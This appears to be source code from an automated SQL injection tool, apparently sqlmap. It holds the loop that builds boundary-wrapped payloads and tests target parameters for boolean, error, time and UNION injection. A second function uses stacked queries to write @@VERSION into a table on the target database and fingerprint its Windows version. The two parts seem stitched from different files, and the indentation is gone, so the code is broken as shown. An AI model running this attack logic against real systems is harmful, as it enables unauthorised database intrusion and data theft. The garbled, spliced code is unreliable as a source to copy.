elif "[RANDNUM]" in title or "(NULL)" in title:
title = title.replace("[RANDNUM]", "random number")
if test.request.columns == "[COLSTART]-[COLSTOP]":
if conf.uCols is None:
continue
else:
title = title.replace("[COLSTART]",
str(conf.uColsStart))
title = title.replace("[COLSTOP]", str(conf.uColsStop))
elif conf.uCols is not None:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided custom column range %s" % conf.uCols
logger.debug(debugMsg)
continue
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
unionExtended = True
test.request.columns = re.sub(
r"\b%d\b" % _, str(2 * _),
test.request.columns)
title = re.sub(r"\b%d\b" % _, str(2 * _), title)
test.title = re.sub(r"\b%d\b" % _, str(2 * _),
test.title)
# Skip test if the user's wants to test only for a specific
# technique
if conf.tech and isinstance(conf.tech,
list) and stype not in conf.tech:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "specified to test only for "
debugMsg += "%s techniques" % " & ".join(
map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech))
logger.debug(debugMsg)
continue
# Skip test if it is the same SQL injection type already
# identified by another test
if injection.data and stype in injection.data:
debugMsg = "skipping test '%s' because " % title
debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[
stype]
debugMsg += "already been identified"
logger.debug(debugMsg)
continue
# Skip tests if title is not included by the given filter
if conf.tstF:
if not any(re.search(conf.tstF, str(item), re.I) for item in [test.title, test.vector,\
test.details.dbms if "details" in test and "dbms" in test.details else ""]):
debugMsg = "skipping test '%s' because " % title
debugMsg += "its name/vector/dbms is not included by the given filter"
logger.debug(debugMsg)
continue
else:
# Skip test if the risk is higher than the provided (or default)
# value
# Parse test's <risk>
if test.risk > conf.risk:
debugMsg = "skipping test '%s' because the risk (%d) " % (
title, test.risk)
debugMsg += "is higher than the provided (%d)" % conf.risk
logger.debug(debugMsg)
continue
# Skip test if the level is higher than the provided (or default)
# value
# Parse test's <level>
if test.level > conf.level:
debugMsg = "skipping test '%s' because the level (%d) " % (
title, test.level)
debugMsg += "is higher than the provided (%d)" % conf.level
logger.debug(debugMsg)
continue
# Skip DBMS-specific test if it does not match either the
# previously identified or the user's provided DBMS (either
# from program switch or from parsed error message(s))
if "details" in test and "dbms" in test.details:
dbms = test.details.dbms
else:
dbms = None
if dbms is not None:
if injection.dbms is not None and not intersect(
injection.dbms, dbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the back-end DBMS identified is "
debugMsg += "%s" % injection.dbms
logger.debug(debugMsg)
continue
if conf.dbms is not None and not intersect(
conf.dbms.lower(),
[value.lower() for value in arrayizeValue(dbms)]):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the provided DBMS is %s" % conf.dbms
logger.debug(debugMsg)
continue
if len(Backend.getErrorParsedDBMSes()) > 0 and not intersect(
dbms, Backend.getErrorParsedDBMSes()
) and kb.skipOthersDbms is None:
msg = "parsed error message(s) showed that the "
msg += "back-end DBMS could be %s. " % Format.getErrorParsedDBMSes(
)
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
if conf.realTest or readInput(msg,
default="Y") in ("y", "Y"):
kb.skipOthersDbms = Backend.getErrorParsedDBMSes()
else:
kb.skipOthersDbms = []
if kb.skipOthersDbms and not intersect(dbms,
kb.skipOthersDbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the parsed error message(s) showed "
debugMsg += "that the back-end DBMS could be "
debugMsg += "%s" % Format.getErrorParsedDBMSes()
logger.debug(debugMsg)
continue
# Skip test if it does not match the same SQL injection clause
# already identified by another test
clauseMatch = False
for clauseTest in clause:
if injection.clause is not None and clauseTest in injection.clause:
clauseMatch = True
break
if clause != [0] and injection.clause and injection.clause != [
0
] and not clauseMatch:
debugMsg = "skipping test '%s' because the clauses " % title
debugMsg += "differs from the clause already identified"
logger.debug(debugMsg)
continue
# Skip test if the user provided custom character
if conf.uChar is not None and ("random number" in title
or "(NULL)" in title):
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided a specific character, %s" % conf.uChar
logger.debug(debugMsg)
continue
infoMsg = "testing '%s'" % title
logger.info(infoMsg)
# Force back-end DBMS according to the current
# test value for proper payload unescaping
Backend.forceDbms(dbms[0] if isinstance(dbms, list) else dbms)
# Parse test's <request>
comment = agent.getComment(
test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload,
origValue=value)
for boundary in conf.boundaries:
injectable = False
# Skip boundary if the level is higher than the provided (or
# default) value
# Parse boundary's <level>
if boundary.level > conf.level:
continue
# Skip boundary if it does not match against test's <clause>
# Parse test's <clause> and boundary's <clause>
clauseMatch = False
for clauseTest in test.clause:
if clauseTest in boundary.clause:
clauseMatch = True
break
if test.clause != [0] and boundary.clause != [
0
] and not clauseMatch:
continue
# Skip boundary if it does not match against test's <where>
# Parse test's <where> and boundary's <where>
whereMatch = False
for where in test.where:
if where in boundary.where:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's <prefix>, <suffix> and <ptype>
prefix = boundary.prefix if boundary.prefix else ""
suffix = boundary.suffix if boundary.suffix else ""
ptype = boundary.ptype
# If the previous injections succeeded, we know which prefix,
# suffix and parameter type to use for further tests, no
# need to cycle through the boundaries for the following tests
condBound = (injection.prefix is not None
and injection.suffix is not None)
condBound &= (injection.prefix != prefix
or injection.suffix != suffix)
condType = injection.ptype is not None and injection.ptype != ptype
if condBound or condType:
continue
# For each test's <where>
for where in test.where:
templatePayload = None
vector = None
# Threat the parameter original value according to the
# test's <where> tag
if where == PAYLOAD.WHERE.ORIGINAL:
origValue = value
elif where == PAYLOAD.WHERE.NEGATIVE:
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
if conf.invalidLogical:
origValue = "%s AND %s=%s" % (
origValue, randomInt(), randomInt())
elif conf.invalidBignum:
origValue = "%d.%d" % (randomInt(6), randomInt(1))
else:
origValue = "-%s" % randomInt()
templatePayload = agent.payload(place,
parameter,
newValue=origValue,
where=where)
elif where == PAYLOAD.WHERE.REPLACE:
origValue = ""
kb.pageTemplate, kb.errorIsNone = getPageTemplate(
templatePayload, place)
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string
boundPayload = agent.prefixQuery(fstPayload, prefix, where,
clause)
boundPayload = agent.suffixQuery(boundPayload, comment,
suffix, where)
reqPayload = agent.payload(place,
parameter,
newValue=boundPayload,
where=where)
# Perform the test's request and check whether or not the
# payload was successful
# Parse test's <response>
for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(
test.response.comparison, origValue=value)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' <payload><comment> '
# string
boundPayload = agent.prefixQuery(
sndPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(
boundPayload, comment, suffix, where)
cmpPayload = agent.payload(
place,
parameter,
newValue=boundPayload,
where=where)
return cmpPayload
# Useful to set kb.matchRatio at first based on
# the False response content
kb.matchRatio = None
kb.negativeLogic = (
where == PAYLOAD.WHERE.NEGATIVE)
Request.queryPage(genCmpPayload(),
place,
raise404=False)
falsePage = threadData.lastComparisonPage or ""
# Perform the test's True request
trueResult = Request.queryPage(reqPayload,
place,
raise404=False)
truePage = threadData.lastComparisonPage or ""
if trueResult:
falseResult = Request.queryPage(
genCmpPayload(), place, raise404=False)
# Perform the test's False request
if not falseResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (
place, parameter, title)
logger.info(infoMsg)
injectable = True
if not injectable and not conf.string and kb.pageStable:
trueSet = set(extractTextTagContent(truePage))
falseSet = set(
extractTextTagContent(falsePage))
candidates = filter(
None,
(_.strip()
if _.strip() in (kb.pageTemplate or "")
and _.strip() not in falsePage else None
for _ in (trueSet - falseSet)))
if candidates:
conf.string = random.sample(candidates,
1)[0]
infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=%s)" % (
place, parameter, title,
repr(conf.string).lstrip('u'))
logger.info(infoMsg)
injectable = True
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's <grep> regular expression
try:
page, headers = Request.queryPage(
reqPayload,
place,
content=True,
raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == "1"
if result:
infoMsg = "%s parameter '%s' is '%s' injectable " % (
place, parameter, title)
logger.info(infoMsg)
injectable = True
except sqlmapConnectionException, msg:
debugMsg = "problem occured most likely because the "
debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % msg
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(
reqPayload,
place,
timeBasedCompare=True,
raise404=False)
if trueResult:
# Confirm test's results
trueResult = Request.queryPage(
reqPayload,
place,
timeBasedCompare=True,
raise404=False)
if trueResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (
place, parameter, title)
logger.info(infoMsg)
injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
# Test for UNION injection and set the sample
# payload as well as the vector.
# NOTE: vector is set to a tuple with 6 elements,
# used afterwards by Agent.forgeInbandQuery()
# method to forge the UNION query payload
configUnion(test.request.char,
test.request.columns)
if not Backend.getIdentifiedDbms():
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it using the --dbms "
warnMsg += "option"
singleTimeWarnMessage(warnMsg)
if unionExtended:
infoMsg = "automatically extending ranges "
infoMsg += "for UNION query injection technique tests as "
infoMsg += "there is at least one other injection technique found"
singleTimeLogMessage(infoMsg)
# Test for UNION query SQL injection
reqPayload, vector = unionTest(
comment, place, parameter, value, prefix,
suffix)
if isinstance(reqPayload, basestring):
infoMsg = "%s parameter '%s' is '%s' injectable" % (
place, parameter, title)
logger.info(infoMsg)
injectable = True
# Overwrite 'where' because it can be set
# by unionTest() directly
where = vector[6]
kb.previousMethod = method
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
# Feed with the boundaries details only the first time a
# test has been successful
if injection.place is None or injection.parameter is None:
if place in (PLACE.UA, PLACE.REFERER, PLACE.HOST):
injection.parameter = place
else:
injection.parameter = parameter
injection.place = place
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.clause = clause
# Feed with test details every time a test is successful
if hasattr(test, "details"):
for dKey, dValue in test.details.items():
if dKey == "dbms":
if not isinstance(dValue, list):
injection.dbms = Backend.setDbms(
dValue)
else:
Backend.forceDbms(dValue[0], True)
elif dKey == "dbms_version" and injection.dbms_version is None and not conf.tstF:
injection.dbms_version = Backend.setVersion(
dValue)
elif dKey == "os" and injection.os is None:
injection.os = Backend.setOs(dValue)
if vector is None and "vector" in test and test.vector is not None:
vector = "%s%s" % (test.vector, comment or "")
injection.data[stype] = AttribDict()
injection.data[stype].title = title
injection.data[
stype].payload = agent.removePayloadDelimiters(
reqPayload)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.string = conf.string
injection.conf.regexp = conf.regexp
injection.conf.optimize = conf.optimize
if conf.beep or conf.realTest:
beep()
# There is no need to perform this test for other
# <where> tags
break
if injectable is True:
# There is no need to perform this test with others
# boundaries
break
def checkDbmsOs(self, detailed=False):
if Backend.getOs() and Backend.getOsVersion() and Backend.getOsServicePack():
return
if not Backend.getOs():
Backend.setOs(OS.WINDOWS)
if not detailed:
return
infoMsg = "fingerprinting the back-end DBMS operating system "
infoMsg += "version and service pack"
logger.info(infoMsg)
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
# Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
# http://en.wikipedia.org/wiki/Windows_NT#Releases
versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)),
"2000": ("5.0", (4, 3, 2, 1)),
"XP": ("5.1", (3, 2, 1)),
"2003": ("5.2", (2, 1)),
"Vista or 2008": ("6.0", (2, 1)),
"7 or 2008 R2": ("6.1", (1, 0)),
"8 or 2012": ("6.2", (0,)),
"8.1 or 2012 R2": ("6.3", (0,)) }
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Windows NT " + data[0] + "%')"
result = inject.checkBooleanExpression(query)
if result:
Backend.setOsVersion(version)
infoMsg += " %s" % Backend.getOsVersion()
break
if not Backend.getOsVersion():
Backend.setOsVersion("2003")
Backend.setOsServicePack(2)
warnMsg = "unable to fingerprint the underlying operating "
warnMsg += "system version, assuming it is Windows "
warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack())
logger.warn(warnMsg)
self.cleanup(onlyFileTbl=True)
return
# Get back-end DBMS underlying operating system service pack
sps = versions[Backend.getOsVersion()][1]
for sp in sps:
query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Service Pack " + getUnicode(sp) + "%')"
result = inject.checkBooleanExpression(query)
if result:
Backend.setOsServicePack(sp)
break
if not Backend.getOsServicePack():
debugMsg = "assuming the operating system has no service pack"
logger.debug(debugMsg)
Backend.setOsServicePack(0)
if Backend.getOsVersion():
infoMsg += " Service Pack %d" % Backend.getOsServicePack()
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)